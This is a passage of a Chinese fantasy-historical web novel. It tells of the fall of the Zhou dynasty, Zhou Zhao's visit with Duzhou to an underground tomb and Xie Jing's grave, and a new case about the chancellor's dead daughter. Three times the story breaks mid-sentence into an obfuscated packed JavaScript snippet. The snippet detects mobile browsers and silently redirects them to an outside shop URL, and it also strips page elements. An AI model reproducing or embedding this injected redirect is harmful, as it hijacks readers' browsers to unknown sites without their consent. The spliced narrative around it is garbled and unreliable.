周昭特修书一封,派燕飞送往松柏城。三日后燕飞垂头丧气的回来,骂骂咧咧道:“那黎国国主好小家子气,竟压根不见我!” 周昭有些诧异,她虽没见过,也听长淮说起过,印象中黎国国主应当是位温厚知礼的君主。 燕飞将事情来龙去脉讲明,原来他在城外就被拦下,也不知为了何事耽误许久才将他放进去。进城后国主称病不见,只派一位官员接了书信递进去,至于要不要借粮压根提也没提。 周昭扶额道:“想必国主有不得已的苦衷,罢了,让咱们的运粮官赶一赶。” 事后谢景得知此事,听说与他那父皇大吵一架。待到春日,赵国与何罗本就国小民少,当初攻打黎国全靠一口气撑着,看似勇猛,实则再而衰,三而竭。双方都没有得到什么好处,何罗更是被周朝王军打得如缩头乌龟,退回都城不敢出来。 三月初八,正是春暖花开好时节。黎国送来一封书信,谢景大婚,邀请周昭前去观礼。 周昭王帐虽然距黎国不远,但就算关系再亲密的邻国,也会介意别国军队堂而皇之踏进自己的领土。对于这封信,几乎所有周朝将士都一致反对。 上回借粮一事本就让众人心存芥蒂,加之周昭身份尊贵,怎能独自进入黎国?万一遇到危险,那岂不是毫无退路? 不可,万万不可。 周昭几乎被群臣说动,连宁啻也说不必强求,她思虑良久,还是决定亲自去一趟。 “一来,朕与长淮自小交好,如今距黎国不过几日路程,他大婚,朕理应去贺;二来,朕也想去见见这黎国国主。周黎世代交好,如今黎国来信,朕若不去,岂不是让国主疑心?” 其实还有第三—— 周昭早就断定,李德海口中所说那日出现在两仪殿内的鬼,就是她见过两回,那只大名鼎鼎的鬼王成业。黎国推崇修仙悟道,能人异士遍地,说不定真能寻到找到成业的办法。 这件事一直埋在心底,周昭谁也没告诉。即日,周昭便带百余人秘密前往黎国。 同一天,一封八百里加急的密报自盛都发出,驿站昼夜不歇,终于在第七日将这封急报送至边境。而在这短短七日内,周黎两国的关系却已经发生了翻天覆地之巨变。 传言黎国太子大婚之夜,黎国国主与王后均惨死后宫。谢景闻讯赶来,宫门陈尸无数,殿内王后早已气绝身亡,国主尚有一口气在。他目呲欲裂,抓住谢景的手,唇边吐出一个“周”字便一命呜呼。这场四方来贺的婚礼,顷刻间便喜堂换灵堂。 那封急报送至王军大营,周昭正策马回营。 赵六子站在瞭望台上,远远地看见周昭衣衫带血,还当身后有追兵,一面心惊胆战地鸣金敲鼓,一面高呼道:“陛下回营!陛下回营!来人!” 去时百人,如今回来的仅不到十人。周昭脸色阴沉翻身下马,尚未说一个字,急报便递上来。 安平三年春,周朝境内槐鬼再度爆发。 地宫内槐鬼一夜之间疯长,无不挂满人头,笑声直入云霄。周昭即刻赶回盛都,折杞派人运回灵台灰烬,人们惊恐地发现这种灵丹妙药竟然不能再治病,只有像从前那样生吃人心方能救命。 虚无渡掐指一算,连连叹息:“这些槐鬼本就是怨气生发,陛下让人修建地宫,怨气不得挣脱,就像洪灾堤坝,只堵不疏,早晚有一天堤坝要被洪水冲毁。” 百姓纷纷请愿,重开祭天台。 安平三年,夏末,百姓暴动,苍界山神庙险些被大火烧毁,天子杀匪首二十余人以儆效尤。 同月,黎国与周宣战。 黎国之后,诸国纷纷起兵。察罕图跟霍璋还在北疆纠缠之际,辽东诸国,连着汴西那一连串羊屎蛋大小的洲国,全都跟商量好似的反了天。 凉州王主动提出帮愿周朝攻退汴西诸国,事成之后,周朝需出兵帮助凉州在整个汴西称王。 凉州王宣称,世代凉州子民忠于大周,愿以长生天起誓绝无异心。周明知其狼子野心,却进退两难别无他法。同年秋,凉州与周结盟。周朝大将兰令仪替皇帝与凉州王歃血为盟,签署汴西之约。 虽结盟,兰令仪却刻意不与凉州军同进退。其用兵颇诡,毫无破绽,引得凉州王也忍不住抚掌赞叹。凉州见浑水摸鱼不成,名义上还在帮周朝打仗,实则出力颇少,往往日初起兵,落日归城,众将毫发无损。兰令仪送回盛都的公文写道: 凉州欲收渔翁之利,盟约形同虚设,陛下当立下决断,早日踏平凉州。 周昭回信: 爱卿所想,又岂非朕心中所想?凉州王于汴西煽风点火,为最恶之首,朕看莫不如游说其余各国共伐凉州。若盟约可立,大周许诺免除汴西诸国二十年上贡。至于微末处,爱卿可自行做主。 安平三年冬,汴西有五洲动摇,不再进攻大周。其余各洲虽仍攻城不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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令西南、北疆两地闻风丧胆的大将兰令仪、霍璋不知所踪。察罕图翻过雪松山,先后占领周朝辽城、赤霞关等地。 新任北疆大将自杀殉国,察罕图一路南下,辽东海疆诸国向内陆逼近,靖王领兵死守,南疆大将,原兰令仪部下南星连夜派兵驰援,勉强拒敌于义县外。 凉州刚一口气吞并汴西,便急不可耐地大举二十万军队攻周。大军轻而易举拿下小咸关,渡过汴江后在大咸关激战数日,直奔大周腹地,浩浩荡荡,如南风过境。 盛都岌岌可危。 安平四年冬,燕飞临危受命,任北疆大将,率军十万北上迎战察罕图,安平帝率玄甲营十万向西开拔。 凉州虽然人数众多,但都是各国东拼西凑出来的,远不及玄甲营锋利,安平帝仅用半月,便将这支杂牌军打得连连撤退。西南失势,除了北面的察罕图仍然像一只咬住肉就不松口的野狗,辽东诸国已不敢冒进。 据说,安平帝手中那把名为行野的黑剑,曾一日内斩落数百人头。 鏖战两年,个中鲜血,纸笔难书。 安平六年冬,桦城一役周朝惨败,二十万大军命丧汴江。敌军如滔滔汴江水,势不可挡地流向甘南腹地。 次年春,盛都城破,安平帝被缚祭天台,挖心而死。 周亡。 102. 第 102 章 周亡。 周昭那口血吐在这两个字上,愈发鲜红刺目。她睁着眼睛坐在床角,直到东方破晓。 周昭其实不记得了。 她记得槐鬼现世,记得桦城兵败,记得汴江水彻骨寒,却不记得自己是怎么死的。史书上说她被挖心而死,周昭有些后悔当时在宫里没有问一问梁王。 不过这并不是件要紧的事情。 对罪孽深重的人来说,死亡是一件恩赐。周昭深知自己不配得到这样的恩赐,她的手上沾满鲜血,就该日复一日被往事折磨,在极致的痛苦与悔恨中好好活着。 这便是上天对她最大的惩罚。 尽管如此,周昭的身体却不如她想象中那么顽强。门被轻轻叩响,周昭下意识地打了个寒颤。 ——渡舟的真身,就是让你日日夜夜都做噩梦的槐树! 梁王的声音猝不及防在耳畔响起,不光是这句要命的话,昨夜在宫殿内周昭听过一遍的那些句子,此刻全都涌进脑子里叫嚣。 “你以为渡舟凭什么那么好心?他是想找到你周昭那颗心提升修为。” “你上辈子被他利用还不够,这辈子仍蠢得厉害!” “你有一片魂魄仍流离在外,若魂魄不能归位,三个月内便会魂飞魄散!渡舟不会让你死的,他会拼命保护你,直到找到你那颗心!” …… 周昭拼命想把从那副丑陋的头颅里吐出来的话从脑海里甩出去,但她越是这样,梁王那日在皇宫说过的每句话都清晰可闻,忍不住低声道:“滚出去!” 霎时急火攻心,眼皮一沉倒在——准确来说是昏倒在床上。 往事如蚀骨之毒,一旦毒发,必得抽筋扒骨。 梦费心神,尤其是噩梦。 周昭浑浑噩噩的脑子里一会儿浮现出晋川大捷,自己与燕飞等人穿过永安门,夹道欢呼声险些要掀了屋顶。 一会儿又是北风呼啸,她穿着一身白,分不清心里想的是要为大哥报仇,还是要取姜国人的心。 眼前如走马观花,最后那些断断续续的画面拼凑出一个凤仪殿,她面无表情地走出殿门,剑上是皇后的血,脚下是周澈的血,下令任何人不许靠近凤仪殿半步。 “殿下,皇后娘娘……” “死了。” “……那五殿下……” “我杀的。” …… 周昭缓缓睁开眼睛。 房间里经久不散的安神香,也不能让她神思安宁。那张脸呈现出过分苍白的颜色,她头疼得厉害,翻身想坐起来,岂料轻轻一动,不由蹙眉,那份苍白中透出一抹憔悴的红,愈发沉重起来。 周昭自幼习武,虽然在她生命的最后几年由于操劳过度,偶尔感觉力不从心。但总的来说,周昭的身体一直很好,否则也不会数次亲征。 不过这个时候,周昭明显感觉这幅身体有哪里不太对劲。 此时,屏风后传来一阵窸窣声,几乎是下一刻,渡舟便出现在她眼前,这人神情疲倦,眉心仿佛压着许多不可告人的心事。 周昭不禁想,这张脸上此刻的神情,到底有几分是真心,几分是假意。 她前世就从未看透过萧十六,今生也猜不透渡舟。 二人四目相对,均没有提起昨夜酒醉,终是渡舟先打破尴尬,问道:“饿吗?” 送来的都是些清淡小食,周昭注意到这府里的傀儡似乎全都换过了一批,瞧着脸生。屏风外铺着一床被褥,周昭惊讶地想:“难不成渡舟一直守在这儿?” 想想又觉得不可能,除非渡舟疯了才会做这种事。 食物应当极美味,她味同嚼蜡,却总想往空荡荡的胃里塞点什么东西,以此证明自己还活着。 “你猜,我在皇宫里看到了谁?”周昭问。 “我认识吗?” “如果你的记性不差,我想,”周昭放下筷子,“你认识。” 渡舟的眼中浮现一丝疑惑,周昭望着那双过分好看的凤眼,想看清楚是真是假:“我看见了宁啻。” “宁啻?”渡舟重复一遍,将一碗勾兑着蜂蜜桂花的酥酪往周昭面前推了推,“殿下,你就是为了他多饮了几杯酒吗?” 周昭小口小口地把那碗香甜的酥酪往嘴里送,胃里有些隐隐往上翻涌的恶心。 冬日稀薄的阳光透过天青的纱窗,只剩下一星半点儿没有温度的橘黄,落在手背上,照得那块苍白的皮肤上青紫色血管清晰可见。 白猫迈着懒洋洋的步伐走进屋来,那双绿色的眼睛看见周昭,便放出光芒,极尽谄媚地叫了两嗓子,正欲一跃上前,被渡舟当空截住。 “喵!”白猫不满地扭过脖子,装模作样地在渡舟手背上咬了一口。 “再闹,拔了你的牙。” 周昭想起昭阳殿那只白猫,她也不知怎的,随口问道:“这是般般吗?”问完又觉得蠢,一只猫怎么可能活一千多年。渡舟却道:“殿下认出它了。” “真是般般?”周昭惊愕道。 “去。”渡舟松开白猫,它大摇大摆地踩过桌子,继而如愿以偿地钻进周昭怀里,蹭了蹭脑袋,那眼神好像有几分埋怨,怨周昭跟它相认太晚。 “这猫吃了仙丹,不老不死,命长的呢。”渡舟道。 周昭只当他玩笑,心中却想:“渡舟知道我在席间饮多了酒,知道大将军回朝,难道也清楚皇帝和梁王勾结?” 她想起赵允城说的话,又暗暗道:“那二人虽然不安好心,说话真假参半,渡舟却更不可信。但我势单力薄,要想查清当年的事,查清那位大将军的身份,不得不在二者之间择其一。” 周昭上辈子有三件事想不明白。 一是她父皇的死因。 二是桦城之战的真相。 这第三...... 周昭想得出神,前日的醉意似乎裹挟着困意来势汹汹,她努力晃了晃脑袋,第一反应是渡舟在这饭菜中下了迷药,但转念一想渡舟要她性命实在没理由大费周章,没等周昭想明白,竟眼皮沉沉一点儿意识都没有了。 渡舟极快地伸长手臂将周昭揽进怀里,般般压着嗓子叫了一声,似乎也知道不该打扰周昭休息,它极富深意地看了渡舟一眼。 如果有第三人在场,一定会惊讶于这猫竟然能做出如此生动的表情,不过渡舟看了,却神情淡淡,挥了挥手,道:“知道。” 周昭如今变得嗜睡,经常不由自主地便像那天吃饭时候一样睡着了,醒来时又记不得自己睡着之前在干什么,不过不论她每次在哪里昏睡过去,都是好端端在床上醒来的。 周昭清楚地知道自己的身体正是因为少了那片魂魄才会如此,在这件事梁王并没有骗她。 但她压根没想过去找——三个月,时间够了。 一日,周昭感觉精神好些,她翻出上回抄了一半的经文,又接着往下写。有人敲了敲门,周昭不用抬头也知道来的是谁,因为只有渡舟会来这里找她。 渡舟推开门,周昭抬眸看他,不由心惊,忍不住道:“你的头发,怎么……” 渡舟原本只是鬓边两缕白发,此刻却多出许多,连前额那一块都染了几分雪色,渡舟不以为然道:“不好看吗?刚染的。” 渡舟的目光扫了眼周昭抄写的经文,神情有一瞬间的不自然,又很快恢复如常,道:“殿下,今日暖和,我带你去个地方。” 周昭凝着他一动不动,似乎非要渡舟说出什么能令她心甘情愿放下笔的筹码,渡舟微笑道:“我带你去见一位故人。” 阳光明媚,风雪杳无踪迹,仅有远处山巅上顶着一丛皑皑白雪,昭示着九洲城这个冬日还很漫长。 “去哪儿?”周昭问。 渡舟左手取出腰间骨箫,递到唇边,几个简短明快的音节从骨箫里飘荡出来。 这是周昭第一次见渡舟正儿八经地吹奏昆仲,她不由多看几眼,地面却在此时悄无声息地起了变化,一个幽深的洞口出现在他们面前。 渡舟放下骨箫,嘴角露出一点若有若无的笑意,伸出右手:“殿下,抓紧我。” 周昭尚在犹豫,渡舟却隔着衣袖抓住她的手,低声道:“里面黑,还是我领着殿下走吧。” 说罢,渡舟便从容不迫地走进洞穴,周昭心道:“原来这洞穴并不是垂直向下,而是有石阶的。” 周昭看不清楚,但能感觉到她并非踩在虚无,越向下走,光线越暗,等到他们二人完全走进这条通往地下的洞穴,头顶的洞口随之关闭,平整的地面恢复如初,任谁也猜不到这里有个地洞。 四周完全黑下来,伸手不见五指,这是跟在地牢完全不一样的感觉,静谧得几近恐怖。不知是不是地下太冷,周昭忍不住打了个寒颤。 渡舟握紧她的手,像是安抚,随即打了个清脆的响指,霎那间,眼前豁然开朗—— 并不是周昭想象中的逼仄,这地下的空间大得出奇,说是地洞,不如说更像一处宽敞的墓穴。 他们所在的这处墓穴又向四面八方延伸出无数地洞,隐约可见每个洞中都停着几只漆黑的棺木,幽暗古怪,仿佛下一刻就会有什么可怕的东西跳出来。 至于四周墙壁,则依稀可见刻满了无数壁画,颜色鲜艳栩栩如生,画风新奇大胆,并不像这个时代的产物,周昭正好奇这些壁画上画的是什么,忽见石壁上一束光源动了动,她凑近一看,惊讶叫道:“这是......” “殿下还记得?这叫幽煌虫。”渡舟道。 那散发着淡淡光束的小虫子,正是当年他们在三苗国地洞底下遇到的。 周昭目露不解,渡舟道:“幽煌只有在地下才能活,没毒,不伤人。” 周昭忽然记起牵机营的地牢里也有,便问:“你能控制幽煌虫?” 渡舟微笑道:“不是我,殿下跟我来。” 周昭跟着渡舟在洞中穿行,这里虽然有幽煌,但光线并不明亮,加上墓穴中棺木众多,并不好走,渡舟却像自家后院一样闲庭信步。 不多时,便有一个更大的洞口出现在眼前,洞中并无棺木,壁画也跟刚才截然不同,只见墙上“画”着一条赤红色的蛇尾,那蛇尾又长又粗,盘旋了整整三面墙壁。 周昭顺着蛇尾游走的方向看去,抬起头,猛地见到一只巨蟒头颅,心中骇道:“好大的蛇。” “这是烛龙,幽煌寄生烛龙而活,就是他能控制幽煌发光。”渡舟轻轻拍掌,命令道,“别处去睡。” 赤红色的蛇尾应声而动,在壁画中游走穿行,巨大的蛇腹自周昭头顶石壁滑过,发出细微的摩挲声。 周昭一时不敢高声语,等烛龙只剩下小半截蛇尾还在洞中游曳时,才道:“都说无相妖主能控制白天黑夜,我想,他们不会知道无相妖主养了一只睁眼为昼,闭目为夜的烛龙。” 渡舟没有否认:“烛龙喜欢听昆仲唱曲儿,不爱吵闹,我这地方正好。” “这是什么地方?” “无支山。” “无支山?”周昭脸上露出一丝怀疑,这名字她虽然听过,但书上记载无支山是一座上古神山,混沌之初,这座山因不忍见人间战火纷纷、尸骨遍野,于是离开人界自毁,世间再无此山。 况且,这地方明明是墓穴,又怎么会是无支山? “嗯,我管这儿叫无支坟。”渡舟道,“殿下,时间到了,我们该出去了。” 出去跟进来差不多,渡舟又吹了几下昆仲,一个一人环抱大小的洞口悄无声息地出现在眼前。 渡舟先走出墓穴,他刚一踏上坚实的土地,唇边漾起冷笑,说了句:“有意思。” “什么?” 周昭的眼睛尚不能适应洞外的明亮,她的一部分思绪仍停在那离奇古怪的无支山,或者说无支坟里。她侧目看向渡舟那苍白得毫无血色的脸,又想起她见渡舟的第一眼。 这个人,活像是从深不见底的墓穴里走出来。 渡舟摇摇头:“没什么,我们走吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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谢景自然是听不到周昭的话了,他早已变成累累白骨,常埋地下。 当年战场上鲜衣怒马的少年天子,如今只剩下一块看不清字迹的破烂碑,周昭抬手轻轻抚摸,眼底潮湿,却流不出泪,喃喃道:“......我不恨你了,长淮,你也别恨我吧。” 她苦笑道:“你是看见的,我是死得很惨啦,可你怎么也......把自己搞成这副样子。” “盛都城破那日,谢景便死了。” 周昭惊愕回头,情不自禁道:“怎么会?” 桦城之战,凉州跟黎国可谓赢得痛痛快快。黎国虽不是主力,却因为谢景这位年轻的帝王而不容小觑,怎么可能跟她一样死在那日? 但眼前这座荒坟又不得不提醒周昭,事情并没有按她想象中那样发展。 “具体怎么死的,我也不清楚。但谢景的确死在那时,他死后没多久,黎国也被凉州吞并,到最后不过是便宜了梁王一人。”渡舟面上露出一丝轻蔑,这轻蔑不光是对梁王,隐隐约约也是对谢景,只是碍于周昭没有表现得很明显罢了。 周昭的神情有几分苦涩和无可奈何的痛楚,早知如此,她又何必..... .如今再说这些毫无意义,长淮人已经死了,哪怕她从九洲城把梁王那颗鬼人头抓来,在长淮坟前砍成两半,谢景也不会活过来了。 他早已变成了一抔黄土,一缕花香消失在天地间。 周昭不禁想:“我也早该死了,这人世间,实在没什么好眷恋的。长淮,等我做完该做的事情,就来黄泉地下找你饮酒。” 她正欲起身,突然眼尖地看到树丛里钻出来一条黑蛇。 那黑蛇本是来势汹汹,不料迎面撞上渡舟,又极快地从旁边仓皇游走。 周昭刚在墓穴里见过烛龙那样的庞然大物,对这小黑蛇并无惧意,却怕附近有什么毒物扰了长淮清净,于是转向黑蛇来的方向寻去。 渡舟跟她向前,并无异议。 周昭边走边道:“这些东西似乎都很怕你。” 她话中所指不只是眼前这条黑蛇,往更遥远追溯,还有在三苗国遇到的那条蟒蛇。 彼时渡舟并不曾说真话,不过,如今周昭却下意识地觉得渡舟不会再搪塞。 “蛇虫鼠蚁,跟人一样,都是欺软怕硬的。”渡舟淡淡道。 “好吧,无相妖主,名副其实。”周昭语气中忍不住带了几分不由自主的嘲讽,渡舟混不在意,道:“一个头衔罢了。” 周昭漫不经心地试探:“无相渊从前有只鬼王,你杀了他,却被叫做妖主。” 若是鬼王成业还在,起码周昭心中第一件事能够解惑。可如今成业已死,再要查父皇的死因便难了。 渡舟的脸色微变,不置可否。 周昭不露声色,心道:“渡舟对自己的出身讳莫如深,到底有何隐情?当年他利用神血,是想进入无相渊不错,又为何在百年之后杀了自己的父亲?但说来说去,盛都城槐鬼与他父子二人必有关联。” 突然,一阵腥臭味扑面而来。 渡舟上前,打了个手势让周昭停步。挡在面前的是一棵正待开花的杏树,昆仲缓缓挑开眼前树枝遮挡,映入眼帘的是一团密密麻麻,交织在一起蠕动的蛇。 这密林后面竟藏着好大一个蛇窝! 周昭一阵恶心,细看之下才发现那些蛇都不大精神,眼白翻出,口吐白沫,简直像垂死之态。 渡舟双手抱胸,淡淡道:“还不出来?” 话音落定,一个黑影直扑过来,但尚未近身,眼前一道青光,那东西便被削成两截。 周昭定睛一看,只觉恶心更甚。 那是一条人面蛇尾的黑蛇,被渡舟从中间斩断,一半是头,一半是尾。 头顶光秃秃只有几根白色的毛发,额前则凹下去一个深坑,眼球是蛇眼睛一样的明黄色,眼眶向外凸出,嘴巴里伸出来示威的也不是舌头,而是一截分叉的蛇信。 103. 第 103 章 “这是什么东西?” 渡舟走过去,毫不留情地一脚将那颗还未死绝的脑袋踢进蛇堆里。很快,人头就被数百条翻涌不停的蛇淹没了,渡舟嫌恶道:“这是多尾蛇的幼虫。” 那些蛇本来精神不济,如今却争先恐后地抢夺人头,唯恐落入它蛇之口。 渡舟道:“多尾蛇与人交合,生出来的便是这样的幼虫,永远长不大,既不能融入蛇群,又没有人的聪明。我放它一马,它却放出那黑蛇诱我们前来,该死。” 一阵恶寒翻涌上来,周昭移开目光,觉得同族相残这种事情实在是难以接受。 “那些蛇,也是你做的吗?” 渡舟毫不掩饰地点头:“那都是多尾蛇的后代,你瞧,它们的尾巴不止一条。” 周昭一看,果然是这样。 “修炼几百年的毒虫,不安安分分的滚远点儿,跑来我跟前找死。” 周昭心道:“渡舟刚一踏进这里,便悄无声息地将这些蛇妖压制得毫无还手之力。赵允城想杀渡舟,实比登天还难。” “你比从前厉害很多。”她道。 面对这样的夸赞,渡舟并没有多大波澜,道:“活了这么久,总不至于还是个废物。” 所以,盛都城槐鬼,只是你们父子二人用来提升修为的道场吗? 回去的路上,周昭本想仔细看看那墙上的壁画,不料再踏进无支坟,却不是刚才来时的那处墓穴了。 周昭略感遗憾,又对这地方十分好奇,渡舟在暗处凝她半晌,突然低笑道:“殿下,你有什么想问的,尽管问就是。” 被看穿了心思,周昭讪讪道:“我只是从没见过会在地下走路的山。” “地上走路的,也没见过吧?” 周昭有点窘迫,没接话。 渡舟收起笑,解释道:“我第一次见也觉得惊奇,不过,世间万物皆可修行,一座山会走路也没什么稀奇了。但老实说,我不喜欢这地方。” 洞穴传来一阵沙沙声,渡舟抬头道:“烛龙,别吵我们说话。”那声音果然消失了,“一个地方住的久了,总会腻。” “你住了很久吗?” “嗯,很久,没有千年,七八百年总有了。” “一个人?” “一个人。” 渡舟说得轻描淡写,周昭却暗暗心惊。 “对了,还有一只鬼。”渡舟想了想,又道,“但那只鬼不会说话,算起来,我有几百年没见过了,也许在这洞中什么地方睡觉吧。” 还有——鬼? 渡舟突然转向她,那双眼睛被幽煌映照得明亮而温暖:“殿下,你还有什么问题?嗯?” 最后一个字低沉得像是一声鼻音,他们又靠得极近,周昭低下头,右手不小心按在石壁上,惊起一片幽煌光芒。她的脸在这团闪烁的微光里强作镇定,生怕渡舟瞧出她眼中杀意。 渡舟似乎在等着她开口,等了许久,周昭摇摇头,轻轻抿唇:“没有了。” 渡舟收回目光,神情似乎有些失望。 “殿下,第三片魂魄,我会找回来的。”他道。 “哦,找不回来也......” “也没关系?”渡舟侧目看她,蹙眉道,“殿下,那日赵允城到底跟你说什么了?” “......他说,自己的皇叔是妖。”周昭也不隐瞒。 渡舟望着周昭,半晌,淡淡道:“比他爹聪明......等等。”昆仲突然开始躁动,渡舟闭上眼,再睁开时眼中带了几分玩味:“殿下,你想找的人就在上面。” 周昭跟着渡舟在一处偏僻的巷子里从无支山洞中出来,眼前熟悉之景无不告诉周昭,他们又回到九洲城了。 沿着巷子走了不多时,未至巷口,便听见一位女子哭哭啼啼的声音:“顾郎,你、你不要我了?” 回应她的是男子略带怒气的嗓音:“如你这般水性杨花的女子,也配?” 渡舟低声笑道:“殿下,咱们来得不巧。” 说罢,一朵白色花瓣从男子衣袖上轻飘飘地落下来,昆仲周身的光随之熄灭,周昭心道:“渡舟这根骨箫,竟还能寻人。” 那女子哭得梨花带雨,惹人怜爱。可她面对的男子却心硬如铁,像是感应到身后有人靠近,转过脸来,率先看到周昭,皱眉道:“你怎么在这?” 尽管早有心理准备,看到酷似宁啻那半张脸时,周昭仍倒吸一口凉气,点头致意道:“大将军。” 顾绍的目光从周昭移到渡舟身上,无所顾忌地打量一番。那拉扯着顾绍的女子自然也看到周昭,秀眉蹙起,指着她尖声叫道:“顾郎,你就是为了这个女人,才要赶我走?” 我?周昭何其无辜,渡舟低下头,悄声道:“殿下,你不是想看看这位大将军的真面目吗?” “你要掀开他的面具?”周昭道,“算了吧。” 若一个人戴着面具,必然不想被别人看见原本的面目。顾绍长着宁啻的脸,周昭并不愿他当街出丑。 眼看聚到此处看热闹的人越来越多,顾绍似乎也觉得大街上跟一个女人拉拉扯扯太不体面,冷哼一声,拂袖大步离开。 那女子实在柔弱不能自理,被这么大力一推,眼看就要跌倒,人群里一个穿白衣的男子挺身而出,扶了她一把,随即收回手,问道:“姑娘,小心。” 女子当众出了丑,又羞又怒,想到顾绍指责她那四个字,竟把气全都撒在帮她的白衣男子身上,娇喝道:“登徒子!谁要你管!”言罢,抹了把脸上的泪,提着罗裙跑开了。 渡舟转了几下手中的骨箫,挑眉道:“殿下,又是咱们的熟人。” 周昭又看那白衣男子一眼,点头道:“想不到还能碰见他。” 白衣男子身边跟着位年纪小些,面容姣好的姑娘,虽然长相可爱,但却自始至终都目光呆滞,神情懒散。他无端挨骂也没有生气,重新握住姑娘的手,温声道:“灵儿,咱们走吧。” 这男子正是当日在无相城中碰到的唐稽,他牵着的姑娘自然就是唐灵儿了。 唐稽路过周昭二人身边时,好奇地看了几眼,又摇摇头走开,自言自语道:“奇怪,怎地如此眼熟......” 无相城不过大梦一场,醒来便忘却了,唐稽自然不会记得眼前就是当时救他性命的恩人。周昭追上去,微笑道:“这位公子,敢问刚才发生了什么事儿?” 周昭这话问得突兀,唐稽愣了一瞬,随即道:“那戴面具的是大将军,那位女子......”他似乎在想如何措辞,一个刚才也在人群里看热闹的路人接话道:“那是大将军的相好,听说二人昨夜春风一度,早上大将军就翻脸不认人咧!” 还真是这种风月故事……周昭点头道:“打扰了。” 唐稽回礼道:“言重。” 周昭观他气色,比上回在唐府好了许多,目光不由在唐灵儿身上逗留片刻,唐稽见状,坦荡笑道:“这是在下内子,不爱说话,二位莫怪。” 周昭不由感慨有情人终成眷属,又道造化弄人,等二人相携走远,不由道:“不知唐兄会不会后悔?” “世上没有后悔药,不过,你看他可有一丝不知足?”渡舟道,“唐灵儿还活着,对他来说,这就够了。” 说话间,一个少年一阵风似的从他们眼前跑过去—— “官府办案!闲杂人等速速避开!” 紧随其后,是陆轻苹气喘吁吁的脸,周昭心道:“怪事,今日满街都是熟人。”她招呼道:“陆大人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099806|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆轻苹累得不轻,招了招手让身后一队禁军先走,喘了口气,直起腰道:“你怎么在这儿?” “大人是今天第二位这么问我的。”她望了望少年跑远的方向,问道:“刚才那是萤木?” “是萤木。”陆轻苹跟顾绍简直一般无二,先看周昭,后打量渡舟,忽而想起什么,语气不善道,“你又是路过?怎么哪个案子都有你。” 这也不怪陆轻苹耿耿于怀有此一问,先是月季花妖,又是镜妖,如今更是巧。 渡舟轻巧一笑:“是啊,路过,不行吗?”周昭的眼神在二人之间来回跳,抢道:“又有案子了?” 陆轻苹似乎有所顾忌地点点头,其余地什么也没透露,追赶那队禁军去了。 周昭望着这位手无缚鸡之力的书生,道:“皇帝怎么想的,让这位陆大人当什么禁军总督。”渡舟接话道:“因为他忠心,好用。” 周昭表情玩味,心道:“确实好用。” “那个叫萤木的,是殿下的朋友?” “算是吧。” 渡舟若有所思,没再说话。 这时一只五彩斑斓的鸟展翅飞过,鸟喙奇长,下面坠着一个硕大的肉球。虽说颜色鲜艳,叫声却难听的很,因此引来不少行人纷纷驻足抬头望。 二人总算没再遇到熟人,一路顺顺利利地回到牵机营。仅过了一日,许久不见的上官大人便带来了一个大案,正是那日在九洲城让陆轻苹亲自当街狂奔追凶的案子。 “丞相的女儿死了,陆总督这案子关乎他的荣华富贵,别说在街上跑两步,就是让他亲手捅上真凶两刀,也不见得有多难吧?” 虽然是冬天,上官手中折扇却不曾放下。 周昭并不认同,摇头道:“陆轻苹要是爱慕荣华富贵,也不至于住那两间破房子。” “哦?你去过他家了?” “......”周昭道,“去过,那么一回。” 上官笑道:“你不了解陆轻苹,他这个人,难相处。” 周昭亦笑道:“是吗?我倒是觉得陆大人可亲得很。” 上官忙坐直了身子,浑身不自在似的扭了扭,小声道:“嘘!小小年纪,不能乱讲话。” “这话怎么了?”周昭追问。 上官眼神躲闪:“没什么,但陆轻苹是皇帝的人,咱们是在牵机营,被主君听去不好。” “渡舟不是那般小气的人吧,我看他跟陆大人上回抓妖配合得很好呢。” 上官被一口水呛住,咳声连连。 “好吧,还是说回案子。”周昭转回话题,“不是说丞相的女儿是在家中自尽,何来凶手?” “何小姐大门不出二门不迈,再说下个月就要成婚,这时候自尽,不是很奇怪吗?” “她不喜欢要嫁的夫君?” “正因为要嫁的是她心仪之人,此事才蹊跷。” “那日陆大人说抓凶手,抓的是谁?” “何小姐待嫁的夫君,翰林院的书生欧阳文。” “既是自尽,怎么凶手又变成欧阳文了?”周昭不解,上官压低声音道:“此事关乎何小姐清誉,对外只说是欧阳文是凶手,其实是何小姐在一天夜里被人玷污清白,她死后留下一封书信,虽未指名道姓,字里行间却直指欧阳文负心薄义,敢做不敢认。那欧阳文也是个软骨头,听到风声就跑了,丞相岂不恨得牙痒痒?” “原是这样......”周昭忽然想到顾绍,隐隐觉得凑巧。 周昭正想得出神,上官打量她道:“小哑巴,我发现你会说话之后变得聪明许多。” 周昭微笑道:“上官大人有没有听过练武之人有句话,叫打通任督二脉?” 上官哈哈大笑,不再追问了。 104. 第 104 章 苍界山神殿里的供灯几百年未曾断过,听说那是鲛人做成的烛火,燃不尽,吹不灭。这样的鲛人烛名贵非常,但在这处富丽堂皇的宫殿却不足为奇。 已是深夜,承乾殿灯火通明,恍如白昼。 玉石珠帘轻轻摇曳,隐约可见龙椅上坐着的年轻帝王,从头到脚都是浓墨一样的黑色,浑身上下透着骇人的沉郁,唯有那双眼睛好似能逼视人心。 殿外电闪雷鸣,阶下众臣同样惶恐不安。 一片死寂中,闫斯年站出来说道:“敢问陛下,靖王殿下送回来的这批姜国俘虏……该如何安置?” 